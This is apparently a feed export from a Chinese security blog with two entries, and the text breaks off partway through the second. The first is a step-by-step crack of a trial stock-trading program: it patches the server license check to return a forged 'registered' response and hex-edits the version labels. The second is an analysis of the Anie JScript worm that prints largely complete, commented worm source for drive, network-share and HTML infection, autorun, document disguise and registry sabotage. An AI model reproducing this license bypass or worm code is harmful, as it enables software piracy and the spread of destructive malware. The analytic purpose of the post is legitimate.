class="string">"[试用版\x00b7无限制]"</span>;</span><br><span class="line"> smethod_8(str2, <span class="keyword">true</span>);</span><br><span class="line"> Class1.smethod_3().method_8().Text = string_16 + str2;</span><br><span class="line"> Class1.smethod_3().method_8().vmethod_156().Visible = <span class="keyword">true</span>;</span><br><span class="line"> <span class="keyword">break</span>;</span><br><span class="line"> }</span><br><span class="line"> <span class="keyword">case</span> GEnum4.const_3:</span><br><span class="line"> {</span><br><span class="line"> <span class="keyword">string</span> str4 = <span class="string">"[正式版已过期\x00b7"</span> + string_12 + <span class="string">"]"</span>;</span><br><span class="line"> smethod_8(str4, <span class="keyword">true</span>);</span><br><span class="line"> Class1.smethod_3().method_8().Text = string_16 + str4;</span><br><span class="line"> Class1.smethod_3().method_8().vmethod_156().Visible = <span class="keyword">true</span>;</span><br><span class="line"> <span class="keyword">break</span>;</span><br><span class="line"> }</span><br><span class="line"> <span class="keyword">case</span> GEnum4.const_4:</span><br><span class="line"> {</span><br><span class="line"> <span class="keyword">string</span> str5 = <span class="string">"[正式版\x00b7"</span> + string_12 + <span class="string">"]"</span>;</span><br><span class="line"> smethod_8(str5, <span class="keyword">true</span>);</span><br><span class="line"> Class1.smethod_3().method_8().Text = string_16 + str5;</span><br><span class="line"> Class1.smethod_3().method_8().vmethod_156().Visible = <span class="keyword">false</span>;</span><br><span class="line"> <span class="keyword">break</span>;</span><br><span class="line"> }</span><br><span class="line"> <span class="keyword">case</span> GEnum4.const_5:</span><br><span class="line"> {</span><br><span class="line"> <span class="keyword">string</span> str6 = <span class="string">"[正式版未注册\x00b7"</span> + string_12 + <span class="string">"]"</span>;</span><br><span class="line"> smethod_8(str6, <span class="keyword">true</span>);</span><br><span class="line"> Class1.smethod_3().method_8().Text = string_16 + str6;</span><br><span class="line"> Class1.smethod_3().method_8().vmethod_156().Visible = <span class="keyword">true</span>;</span><br><span class="line"> <span class="keyword">break</span>;</span><br><span class="line"> }</span><br><span class="line"> <span class="keyword">case</span> GEnum4.const_6:</span><br><span class="line"> {</span><br><span class="line"> <span class="keyword">string</span> str7 = <span class="string">"[正式版未录入\x00b7"</span> + string_12 + <span class="string">"]"</span>;</span><br><span class="line"> smethod_8(str7, <span class="keyword">true</span>);</span><br><span class="line"> Class1.smethod_3().method_8().Text = string_16 + str7;</span><br><span class="line"> Class1.smethod_3().method_8().vmethod_156().Visible = <span class="keyword">true</span>;</span><br><span class="line"> <span class="keyword">break</span>;</span><br><span class="line"> }</span><br><span class="line"> }</span><br><span class="line">}</span><br></pre></td></tr></table></figure>
<p>通过上边的分析,有经验的同学会想到直接修改<code>method_136</code>方法的返回值,使其常返回<code>GEnum4.const_4</code>,这样修改虽然可以使软件显示为正式版,但实际上并未破解掉软件的自动操盘金额限制,所以需要继续向下分析。</p>
<h2 id="服务器验证">服务器验证</h2><p>通过分析<code>class2.method_0</code>方法,可以知道该方法用于服务器验证,其将注册信息加密后发送给服务端后,解密从服务端返回的信息并填充为一个结构对象,然后返回给调用方法。<br>同时可以知道注册信息和返回信息的明文都是使用字符’|’进行字段间的分隔的。</p>
<figure class="highlight csharp"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="keyword">public</span> GStruct6 <span class="title">method_0</span>(<span class="params">GStruct5 gstruct5_0</span>)</span><br><span class="line"></span>{</span><br><span class="line"> GStruct6 struct3 = <span class="keyword">new</span> GStruct6();</span><br><span class="line"> <span class="keyword">try</span></span><br><span class="line"> {</span><br><span class="line"> <span class="keyword">string</span> str2 = <span class="string">""</span>;</span><br><span class="line"> str2 = ((((str2 + gstruct5_0.bool_0.ToString() + <span class="string">"|"</span>) + gstruct5_0.string_0 + <span class="string">"|"</span>) + gstruct5_0.string_1 + <span class="string">"|"</span>) + gstruct5_0.string_2 + <span class="string">"|"</span>) + gstruct5_0.string_3;</span><br><span class="line"> <span class="keyword">string</span> s = <span class="string">"key="</span> + <span class="keyword">this</span>.method_1(str2);</span><br><span class="line"> <span class="keyword">byte</span>[] bytes = Encoding.Default.GetBytes(s);</span><br><span class="line"> <span class="keyword">string</span> requestUriString = <span class="string">"http://www.zdx8.com/Rgst/RgstRequest.aspx"</span>;</span><br><span class="line"> HttpWebRequest request = (HttpWebRequest) WebRequest.Create(requestUriString);</span><br><span class="line"> request.Method = <span class="string">"POST"</span>;</span><br><span class="line"> request.ContentType = <span class="string">"text/html; charset=utf-8"</span>;</span><br><span class="line"> request.ContentLength = bytes.Length;</span><br><span class="line"> Stream requestStream = request.GetRequestStream();</span><br><span class="line"> requestStream.Write(bytes, <span class="number">0</span>, bytes.Length);</span><br><span class="line"> requestStream.Close();</span><br><span class="line"> request.Timeout = GClass3.int_5 * <span class="number">2</span>;</span><br><span class="line"> HttpWebResponse response = (HttpWebResponse) request.GetResponse();</span><br><span class="line"> <span class="keyword">string</span> str = <span class="keyword">new</span> StreamReader(response.GetResponseStream(), Encoding.UTF8).ReadLine();</span><br><span class="line"> response.Close();</span><br><span class="line"> <span class="keyword">string</span> str4 = <span class="keyword">this</span>.method_2(str);</span><br><span class="line"> <span class="keyword">try</span></span><br><span class="line"> {</span><br><span class="line"> <span class="keyword">string</span>[] strArray = str4.Split(<span class="keyword">new</span> <span class="keyword">char</span>[] { <span class="string">'|'</span> });</span><br><span class="line"> struct3.string_0 = strArray[<span class="number">0</span>];</span><br><span class="line"> struct3.bool_0 = Conversions.ToBoolean(strArray[<span class="number">1</span>]);</span><br><span class="line"> struct3.string_1 = strArray[<span class="number">2</span>];</span><br><span class="line"> struct3.bool_1 = Conversions.ToBoolean(strArray[<span class="number">3</span>]);</span><br><span class="line"> struct3.string_2 = strArray[<span class="number">4</span>];</span><br><span class="line"> struct3.bool_2 = Conversions.ToBoolean(strArray[<span class="number">5</span>]);</span><br><span class="line"> struct3.string_3 = strArray[<span class="number">6</span>];</span><br><span class="line"> struct3.bool_3 = Conversions.ToBoolean(strArray[<span class="number">7</span>]);</span><br><span class="line"> struct3.decimal_0 = Conversions.ToDecimal(strArray[<span class="number">8</span>]);</span><br><span class="line"> struct3.string_4 = strArray[<span class="number">9</span>];</span><br><span class="line"> struct3.bool_4 = <span class="keyword">true</span>;</span><br><span class="line"> }</span><br><span class="line"> <span class="keyword">catch</span> (Exception exception1)</span><br><span class="line"> {</span><br><span class="line"> ProjectData.SetProjectError(exception1);</span><br><span class="line"> Exception exception = exception1;</span><br><span class="line"> struct3.bool_4 = <span class="keyword">true</span>;</span><br><span class="line"> ProjectData.ClearProjectError();</span><br><span class="line"> }</span><br><span class="line"> }</span><br><span class="line"> <span class="keyword">catch</span> (Exception exception3)</span><br><span class="line"> {</span><br><span class="line"> ProjectData.SetProjectError(exception3);</span><br><span class="line"> Exception exception2 = exception3;</span><br><span class="line"> GClass3.smethod_8(<span class="string">"注册服务错误:"</span> + exception2.Message.Replace(<span class="string">"\r"</span>, <span class="string">""</span>).Replace(<span class="string">"\n"</span>, <span class="string">""</span>), <span class="keyword">true</span>);</span><br><span class="line"> <span class="keyword">if</span> (((WebException) exception2).Status != WebExceptionStatus.Timeout)</span><br><span class="line"> {</span><br><span class="line"> struct3.bool_4 = <span class="keyword">false</span>;</span><br><span class="line"> }</span><br><span class="line"> ProjectData.ClearProjectError();</span><br><span class="line"> }</span><br><span class="line"> <span class="keyword">return</span> struct3;</span><br><span class="line">}</span><br></pre></td></tr></table></figure>
<p>通过上述分析,我们大概知道了该软件的验证流程</p>
<ol>
<li>获取用户的注册信息</li>
<li>将注册信息发送给服务器验证</li>
<li>根据返回信息选择相应的软件版本</li>
</ol>
<p>同时知道了服务器返回的信息包含10个字段,通过更加深入的分析,我们可以构造出一个完整的返回数据包,但是这里我们使用一个更加便捷的方法,直接抓取客户端和服务器的通讯数据包。</p>
<h2 id="分析数据包">分析数据包</h2><p>重新运行程序,打开网络分析工具,抓取验证注册信息时客户端与服务端的通讯数据包,可以看到通讯数据包如下</p>
<figure class="highlight"><figcaption><span>POST</span></figcaption><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">EgzwaHzHSBvwy514aiLfP7BT8AVd67toYdCm54a89H0tIXsklk63HRHjtiRPGBnTHv/VlybkxaYQQN1wjlhrjA==</span><br></pre></td></tr></table></figure>
<figure class="highlight"><figcaption><span>RECV</span></figcaption><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">g8egIVo7wykjOBds0v78BK+qvUxiLB/SwQU5bellpG+aG8Lwb25udRXEwB3T9EfW81esMT+R44MeSIr2glg8jWy1vVByXkISp8t+NoRmjOmCLRQ77lAyH5WrYmQ2XNkcIJKBtb77dks=</span><br></pre></td></tr></table></figure>
<p>通过程序内的解密方法,得到明文信息如下<br><figure class="highlight"><figcaption><span>POST</span></figcaption><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">True|亲|123456|0142-3111-1313-7210-1120|请在这里输入注册码</span><br></pre></td></tr></table></figure></p>
<figure class="highlight"><figcaption><span>RECV</span></figcaption><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">机器码已经存档|True|亲|True|0142-3111-1313-7210-1120|False|2015-03-27 23:07:34|False|10000000|1千万</span><br></pre></td></tr></table></figure>
<p>经过分析,我们得到服务端返回信息中各字段的作用如下</p>
<pre><code>字段<span class="number">4</span>: 未使用
字段<span class="number">7</span>: 标识激活时间
字段<span class="number">9</span>、字段<span class="number">10</span>: 标识自动操盘的最大金额
字段<span class="number">1</span>、字段<span class="number">6</span>、字段<span class="number">8</span>: 验证软件授权
字段<span class="number">2</span>、字段<span class="number">3</span>、字段<span class="number">5</span>: 验证注册用户信息
</code></pre><h1 id="破解程序">破解程序</h1><hr>
<h2 id="修改验证方法">修改验证方法</h2><p>根据前边的分析我们知道,在保证发送及返回的注册信息匹配的同时,需要保证返回数据中字段1为“注册码已经录入”、字段6的值为True,此时程序将被验证为正式版授权,并且将会使用字段9、10的值作为操盘最大金额。<br>这里我们直接Patch<code>class2.method_0</code>方法,将联网验证部分代码NOP掉,并直接构造一个字符串来填充返回值<code>struct3</code>,Patch的工作依然由Reflexil插件来完成,Patch后的代码如下</p>
<figure class="highlight csharp"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="keyword">public</span> GStruct6 <span class="title">method_0</span>(<span class="params">GStruct5 gstruct5_0</span>)</span><br><span class="line"></span>{</span><br><span class="line"> GStruct6 struct3 = <span class="keyword">new</span> GStruct6();</span><br><span class="line"> <span class="keyword">try</span></span><br><span class="line"> {</span><br><span class="line"> <span class="keyword">string</span> str4 = <span class="string">"注册码已经录入|True|亲|True|0142-3111-1313-7210-1120|True|2015-03-27 21:07:34|False|10000000|1千万"</span>;</span><br><span class="line"> <span class="keyword">try</span></span><br><span class="line"> {</span><br><span class="line"> <span class="keyword">string</span>[] strArray = str4.Split(<span class="keyword">new</span> <span class="keyword">char</span>[] { <span class="string">'|'</span> });</span><br><span class="line"> struct3.string_0 = strArray[<span class="number">0</span>];</span><br><span class="line"> struct3.bool_0 = Conversions.ToBoolean(strArray[<span class="number">1</span>]);</span><br><span class="line"> struct3.string_1 = strArray[<span class="number">2</span>];</span><br><span class="line"> struct3.bool_1 = Conversions.ToBoolean(strArray[<span class="number">3</span>]);</span><br><span class="line"> struct3.string_2 = strArray[<span class="number">4</span>];</span><br><span class="line"> struct3.bool_2 = Conversions.ToBoolean(strArray[<span class="number">5</span>]);</span><br><span class="line"> struct3.string_3 = strArray[<span class="number">6</span>];</span><br><span class="line"> struct3.bool_3 = Conversions.ToBoolean(strArray[<span class="number">7</span>]);</span><br><span class="line"> struct3.decimal_0 = Conversions.ToDecimal(strArray[<span class="number">8</span>]);</span><br><span class="line"> struct3.string_4 = strArray[<span class="number">9</span>];</span><br><span class="line"> struct3.bool_4 = <span class="keyword">true</span>;</span><br><span class="line"> }</span><br><span class="line"> <span class="keyword">catch</span> (Exception exception1)</span><br><span class="line"> {</span><br><span class="line"> ProjectData.SetProjectError(exception1);</span><br><span class="line"> Exception exception = exception1;</span><br><span class="line"> struct3.bool_4 = <span class="keyword">true</span>;</span><br><span class="line"> ProjectData.ClearProjectError();</span><br><span class="line"> }</span><br><span class="line"> }</span><br><span class="line"> <span class="keyword">catch</span> (Exception exception3)</span><br><span class="line"> {</span><br><span class="line"> ProjectData.SetProjectError(exception3);</span><br><span class="line"> Exception exception2 = exception3;</span><br><span class="line"> GClass3.smethod_8(<span class="string">"注册服务错误:"</span> + exception2.Message.Replace(<span class="string">"\r"</span>, <span class="string">""</span>).Replace(<span class="string">"\n"</span>, <span class="string">""</span>), <span class="keyword">true</span>);</span><br><span class="line"> <span class="keyword">if</span> (((WebException) exception2).Status != WebExceptionStatus.Timeout)</span><br><span class="line"> {</span><br><span class="line"> struct3.bool_4 = <span class="keyword">false</span>;</span><br><span class="line"> }</span><br><span class="line"> ProjectData.ClearProjectError();</span><br><span class="line"> }</span><br><span class="line"> <span class="keyword">return</span> struct3;</span><br><span class="line">}</span><br></pre></td></tr></table></figure>
<h2 id="验证效果">验证效果</h2><p>修改验证方法后,将程序重新保存,再次运行发现该软件已经成功被破解了。<br><img src="http://7xicmh.com1.z0.glb.clouddn.com/blog/zdxstock-trial-crack/cracked.jpg" alt=""></p>
<h1 id="版权修改">版权修改</h1><hr>
<p>虽然完成了软件的破解,但是从图片中我们可以看到,在关于对话框中,软件版本信息的标题仍为试用版;软件主界面的用户信息显示为默认的“亲”,并且该程序的文件属性的描述信息也显示为试用版,现在我们把这些信息修改掉。</p>
<h2 id="修改文件属性">修改文件属性</h2><p>文件属性中的描述信息可以使用PE资源编辑器(如ResHacker)进行修改,直接将FileDescription字段中的试用版删掉,然后重新编译脚本,将文件保存或另存为即完成了文件属性的修改。</p>
<h2 id="修改用户信息">修改用户信息</h2><p>通过之前的分析可以知道,注册验证逻辑中需要保证发送和返回的用户信息是一致的,所以需要找到<code>GClass3.string_1</code>初始化的地方,将其修改为想要的值,同时修改之前构造的返回字符串,这里我将其修改为”Cracked by LuoXiaohei”。</p>
<h2 id="修改关于信息">修改关于信息</h2><p>通过分析可以发现,关于对话框中的信息是通过AssemblyInfo定义的,在Reflextor中我并没有发现可以直接修改AssemblyInfo的方法,所以我直接使用了WinHex修改程序文件。<br>AssemblyInfo中的信息在程序文件中是以UTF-8编码保存的,我们可以通过代码将”智达信股票自动交易软件试用版”编码为UTF-8格式并获取Hex值,这里得到的值是</p>
<blockquote>
<p>E699BAE8BEBEE4BFA1E882A1E7A5A8E887AAE58AA8E4BAA4E69893E8BDAFE4BBB6E8AF95E794A8E78988</p>
</blockquote>
<p>利用相同的方法,可以得到”正式版”的UTF-8编码的Hex值,然后利用WinHex将”试用版”修改为”正式版”。</p>
<h1 id="最终成果">最终成果</h1><hr>
<p><img src="http://7xicmh.com1.z0.glb.clouddn.com/blog/zdxstock-trial-crack/final.jpg" alt=""></p>
]]></content>
<summary type="html">
<![CDATA[<p>今天发现邮箱里有人请求帮忙破解一款用于自动操盘的软件,于是便看了一下,虽然最终成功破解掉了该软件,但并未将其发送给求助者。在我看来,破解更多是为了学习和研究,在经济条件允许的情况下,为软件付费,支持正版是每个人都该做的。</p>
<h1 id="初次安装">初次安装</h1><hr>
<p>因为是试用期类的软件,所以按照通常的方式,将系统时间向后调若干年后进行安装,安装后发现试用开始日期仍为今天,并未受系统时间调整而影响,故判断该软件的验证方式可能是服务器验证。<br><img src="http://7xicmh.com1.z0.glb.clouddn.com/blog/zdxstock-trial-crack/trial.jpg" alt=""></p>]]>
</summary>
<category term="Crack" scheme="http://blog.smvirus.com/tags/Crack/"/>
<category term="软件破解" scheme="http://blog.smvirus.com/categories/%E8%BD%AF%E4%BB%B6%E7%A0%B4%E8%A7%A3/"/>
</entry>
<entry>
<title><![CDATA[VBS蠕虫 Anie 代码分析]]></title>
<link href="http://blog.smvirus.com/2015/03/14/anie-vbs-worm-code-analysis/"/>
<id>http://blog.smvirus.com/2015/03/14/anie-vbs-worm-code-analysis/</id>
<published>2015-03-14T08:49:47.000Z</published>
<updated>2015-10-21T17:22:41.000Z</updated>
<content type="html"><![CDATA[<p>Anie 是一个VBS蠕虫,命名源于其会创建一系列名为 Annie 的文件,鉴于计算机病毒命名时不应直接使用病毒样本中出现的字符串,所以将其命名为 Anie。<br>该病毒最早出现的时间为2013年,国家为印尼。</p>
<h1 id="基本信息">基本信息</h1><hr>
<blockquote>
<p>病毒名称:Worm.JS.AutoRun<br>病毒类型:蠕虫<br>样本长度:9,201 字节<br>样本md5:4d1a9f7559de521e1458021a1a7df7cf<br>文件类型:vbs<br>原文件名:Annie.sys<br>出现时间:2013-02-15<br>感染范围:Indonesia<br>感染目标:Intel 386 orlater processors and compatible processors</p>
</blockquote>
<a id="more"></a>
<h1 id="脚本解密">脚本解密</h1><hr>
<p>直接用编辑器打开病毒样本,会发现样本内容为乱码,该样本使用了jscript.encode方式进行了加密,在<a href="http://www.sanxiang.org/jscript-decode.html" target="_blank" rel="external">这里</a>可以对其进行解密。<br><img src="http://7xicmh.com1.z0.glb.clouddn.com/blog/anie-vbs-worm-code-analysis/encoded.jpg" alt=""></p>
<h1 id="代码分析">代码分析</h1><hr>
<h2 id="免责声明">免责声明</h2><p>本节代码是一个完整的VBS蠕虫病毒,仅以学习和交流目的展示,其执行后会感染磁盘驱动器、CD刻录机、网络驱动器等,会对系统造成极大破坏。<br>请勿复制、传播、执行以及使用本节中代码进行攻击等,否则自行承担一切因不当行为造成的后果及责任。</p>
<h2 id="病毒代码">病毒代码</h2><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">var fso = new ActiveXObject('Scripting.FileSystemObject'); var Shell = new ActiveXObject('WScript.Shell'); var ScriptPath = WScript.ScriptFullName; var Script = ReadText(ScriptPath); var SystemPath = fso.GetSpecialFolder(1); var SysPath = SystemPath + '\\drivers\\annie.sys'; function InfectDrives() { while (ScriptPath == SysPath) { // 枚举驱动器集合 var e = new Enumerator(fso.Drives); for (e.moveFirst(); !e.atEnd(); e.moveNext()) { var drv = e.item(); // DriveType:UnknownType=0;Removable=1;Fixed=2;Remote=3;CDRom=4. // 如果是硬盘或者移动存储介质并且驱动器号不为'A:'并且驱动器可以访问 if (((drv.DriveType == 1 || drv.DriveType == 2) && drv.Path != 'A:') && drv.IsReady) { // 拷贝脚本文件到驱动器根目录,命名为annie.ani。 CopyScriptFile(drv.Path + '\\annie.ani'); // 创建AutoRun文件,将annie.ani设置为自动运行。 CreateAutoRunFile(drv.Path + '\\autorun.inf'); CreateShortcut(drv.Path + '\\'); InfectFolder(drv.Path + '\\'); InfectSubFolder(drv.Path + '\\'); } } } } function GetExtensionName(filename) { return fso.GetExtensionName(filename).toLowerCase(); } function TryOpenTheOriginalFile() { var path = ScriptPath.substr(0, ScriptPath.length - 4); if (fso.FileExists(path + '.docx')) { OpenTheOriginalFile(path, '.docx'); } else if (fso.FileExists(path + '.doc')) { OpenTheOriginalFile(path, '.doc'); } else if (fso.FileExists(path + '.rtf')) { OpenTheOriginalFile(path, '.rtf'); } } function Install() { shell.run('cscript.exe //e:jscript ' + SysPath + ' /r', 0); WScript.Sleep(100); shell.run('cscript.exe //e:jscript ' + SysPath + ' /s', 0); WScript.Sleep(100); shell.Run('cscript.exe //e:jscript ' + SysPath + ' /n', 0); } function GetFileSize(filename) { if (fso.FileExists(filename)) { return fso.GetFile(filename).Size; } else { return null; } } function GetBaseName(filepath) { return fso.GetBaseName(filepath); } function GetDocType(filepath) { // 获取html文件第一行文件类型说明 try { return fso.OpenTextFile(filepath, 1).ReadLine(); } catch (e) { return null; } } function TestAndRepair() { if (GetFileSize(SysPath) != 9201) { CopyScriptFile(SysPath); shell.Run('wscript.exe //e:jscript ' + SysPath + ' /e'); } } function CreateAutoRunFile(filename) { var str = '[autorun]\nshellexecute=wscript.exe //e:jscript annie.ani /a\nshell\\open\\command=wscript.exe //e:jscript annie.ani /a\nshell\\explore\\command=wscript.exe //e:jscript annie.ani /a'; if (ReadText(filename) != str) { SetFileNewAttributes(filename, 0); try { var f = fso.CreateTextFile(filename, true); f.Write(str); f.Close(); } catch (e) { if (fso.FolderExists(filename)) { DeleteFolder(filename); CreateAutoRunFile(filename); } } finally { SetFileNewAttributes(filename, 39); } } } function ReadText(filename) { try { return fso.OpenTextFile(filename, 1).ReadAll(); } catch (e) { return ''; } } function SetFileNewAttributes(filename, newattributes) { // newattributes 可用值 // 常数 值 描述 // Normal 0 普通文件。没有设置任何属性。 // ReadOnly 1 只读文件。可读写。 // Hidden 2 隐藏文件。可读写。 // System 4 系统文件。可读写。 // Directory 16 文件夹或目录。只读。 // Archive 32 上次备份后已更改的文件。可读写。 // Alias 1024 链接或快捷方式。只读。 // Compressed 2048 压缩文件。只读。 if (fso.FileExists(filename)) { try { var f = fso.GetFile(filename); f.Attributes = newattributes ; } catch (e) {} } } function ChangeJseRge(item) { // 修改.JSE文件的默认值、默认图标等注册表信息 shell.RegWrite('HKCR\\' + RegReadItem('.JSE') + '\\', RegReadItem(RegReadItem(item) + '\\')); shell.RegWrite('HKCR\\' + RegReadItem('.JSE') + '\\DefaultIcon\\', RegReadItem(RegReadItem(item) + '\\DefaultIcon\\')); shell.RegWrite('HKCR\\' + RegReadItem('.JSE') + '\\FriendlyTypeName', RegReadItem(RegReadItem(item) + '\\'), 'REG_EXPAND_SZ'); } function OpenTheOriginalFile(path, file_type) { try { var open_command = RegReadItem(RegReadItem(file_type) + '\\shell\\Open\\command'); if (open_command.match(/%1/) != null) { shell.Run(open_command.replace('%1', path + file_type)); } else { shell.Run(open_command + ' "' + path + file_type + '"'); } } catch (e) {} } function HideAndDisguise() { while (ScriptPath == SysPath) { CopyScriptFile(SysPath); InfectCDBuring(); InfectReg(); DisguiseJse(); WScript.Sleep(1000); } } function DisguiseJse() { // 修改.jse文件的注册表信息进行伪装 try { ChangeJseReg('.docx'); } catch (e) { try { ChangeJseReg('.doc'); } catch (e) { try { ChangeJseReg('.rtf'); } catch (e) {} } } } function InfectSubFolder(path) { // 枚举子目录 var e = new Enumerator(fso.GetFolder(path).SubFolders); for (e.moveFirst(); !e.atEnd(); e.moveNext()) { var folder = e.item(); // GetSpecialFolder(0) 返回WindowsFolder路径 if ((folder.Name != 'RECYCLER' && folder.Name != 'System Volume Information') && folder.Path != fso.GetSpecialFolder(0)) { InfectFolder(folder.Path); InfectSubFolder(folder.Path); } } } function CreateShortcut(path) { for (var i = 1; i <= 5; i++) { var lnkname = path + 'beautiful_girl_part_' + i + '.lnk'; if (!fso.FileExists(lnkname)) { try { var shortcut = shell.CreateShortcut(lnkname); shortcut.IconLocation = 'wmploc.dll,8'; shortcut.TargetPath = 'wscript.exe'; shortcut.Arguments = '//e:jscript annie.ani ' + '/q:' + i; shortcut.Save(); } catch (e) {} } } } function EditHTML(filepath) { var str = '<!--[ANNIE83E333BF08546819]-->'; if (GetDocType(filepath) != str) { var text = ReadText(filepath); // 所有斜线替换成双斜线 var ki4io = script.replace(/\\/g, '\\\\'); // 所有单引号替换为带转义字符的单引号 var v0l9m = ki4io.replace(/\'/g, '\\\''); // 将脚本插入html代码中 var html = '<html>\n<script type="text/javascript">\n<!--\nvar ayfp6=new ActiveXObject(\'Scripting.FileSystemObject\');var dk5h8=new ActiveXObject(\'WScript.Shell\');var s41k8=ayfp6.GetSpecialFolder(2);var bgw3u=ayfp6.GetTempName();var vlx8c=\'' + v0l9m + '\'+String.fromCharCode(0);var rwyg5=ayfp6.CreateTextFile(s41k8+\'\\\\\'+bgw3u,true);rwyg5.Write(vlx8c);rwyg5.Close();dk5h8.Run(\'wscript.exe //e:jscript \'+s41k8+\'\\\\\'+bgw3u+\' /t\');\n//-->\n</script>\n</html>'; SetFileNewAttributes(filepath, 0); try { // 将生成的DocType标志及HTML代码加入到原文件中 var file = fso.OpenTextFile(filepath, 2); file.WriteLine(str); file.WriteLine(text); file.WriteLine(html); file.Close(); } catch (e) {} } } function InfectFolder(path) { // 枚举路径下文件 var e = new Enumerator(fso.GetFolder(path).Files); for (e.moveFirst(); !e.atEnd(); e.moveNext()) { var filepath = e.item().Path; // 如果扩展名为'doc'、'docx'、'ref'并且文件没有打开 if ((GetExtensionName(filepath) == 'doc' || GetExtensionName(filepath) == 'docx' || GetExtensionName(filepath) == 'rtf') && GetBaseName(filepath).substr(0, 2) != '~$') { // 拷贝脚本文件路径下,文件名为已存在office文件名,扩展名为'.jse' CopyScriptFile(path + '\\' + GetBaseName(filepath) + '.jse'); // 隐藏原文件 SetFileNewAttributes(filepath, 38); } else if (GetExtensionName(filepath) == 'htm' || GetExtensionName(filepath) == 'html') { // 如果扩展名为'htm' 或 'html' // 编辑HTML文件,将脚本代码插入进去 EditHTML(filepath); } WScript.Sleep(4); } } function RegReadItem(item) { return shell.RegRead('HKCR\\' + item + '\\'); } function InfectNetworkDrives() { while (ScriptPath == SysPath) { try { var network = new ActiveXObject('WScript.Network'); var e = network.EnumNetworkDrives(); for (var i = 1; i < e.length; i += 2) { CopyScriptFile(e.Item(i) + '\\annie.ani'); CreateShortcut(e.Item(i) + '\\'); InfectFolder(e.Item(i) + '\\'); } } catch (e) {} WScript.Sleep(900000); } } function CopyScriptFile(filename) { // 如果文件大小不为9201 if (GetFileSize(filename) != 9201) { // 设置文件属性为Normal SetFileNewAttributes(filename, 0); try { // 尝试重写文件 var f = fso.CreateTextFile(filename, true); f.Write(script); f.Close(); } catch (e) { // 如果重写失败 // 如果文件路径为文件夹 if (fso.FolderExists(filename)) { // 删除文件夹 DeleteFolder(filename); // 重新拷贝脚本文件 CopyScriptFile(filename); } } finally { // 如果文件扩展名不为'jse' if (GetExtensionName(filename) != 'jse') { // 设置文件属性为 'ReadOnly | Hidden | System | Archive' SetFileNewAttributes(filename, 39); } } } } function InfectCDBuring() { try { var e9hgn = shell.RegRead('HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\Shell Folders\\CD Burning'); CopyScriptFile(e9hgn + '\\annie.ani'); CreateAutoRunFile(e9hgn + '\\autorun.inf'); } catch (e) {} } function DeleteFolder(filename) { try { fso.DeleteFolder(filename, true); } catch (e) { shell.Run('cmd.exe /c rd /s /q \\\\.\\"' + filename + '"', 0, true); } } function InfectReg() { try { // 删除右键打开方式 shell.RegDelete('HKCR\\*\\shellex\\ContextMenuHandlers\\Open With\\'); } catch (e) {} try { // 修改'.inf'文件安装方式,安装配置文件时删除配置文件 shell.RegWrite('HKCR\\' + RegReadItem('.inf') + '\\shell\\Install\\command\\', 'cmd.exe /c del /q /f "%1"', 'REG_EXPAND_SZ'); } catch (e) {} try { // 修改'.jse'文件的打开方式 shell.RegWrite('HKCR\\' + RegReadItem('.JSE') + '\\Shell\\Edit\\Command\\', RegReadItem(RegReadItem('.JSE') + '\\Shell\\Open\\Command\\'), 'REG_EXPAND_SZ'); } catch (e) {} try { shell.RegDelete('HKCR\\' + RegReadItem('.JSE') + '\\Shell\\Open2\\'); } catch (e) {} try { shell.RegDelete('HKCR\\' + RegReadItem('.JSE') + '\\Shell\\Open2\\Command\\'); } catch (e) {} try { shell.RegDelete('HKCR\\' + RegReadItem('.JSE') + '\\ShellEx\\PropertySheetHandlers\\WSHProps\\'); } catch (e) {} try { // 修改'.reg'文件的打开方式,打开即删除 shell.RegWrite('HKCR\\' + RegReadItem('.reg') + '\\shell\\open\\command\\', 'cmd.exe /c del /q /f "%1"', 'REG_EXPAND_SZ'); } catch (e) {} try { // 